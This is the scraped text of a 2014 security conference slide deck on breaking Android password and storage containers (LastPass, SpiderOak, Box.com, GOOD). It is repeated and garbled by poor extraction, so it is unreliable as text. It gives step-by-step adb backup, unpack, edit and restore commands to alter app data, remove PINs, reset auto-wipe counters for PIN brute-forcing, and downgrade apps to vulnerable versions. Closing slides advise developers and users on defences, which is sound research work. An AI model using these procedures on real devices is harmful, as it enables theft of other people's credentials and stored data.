2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 96: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 97: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

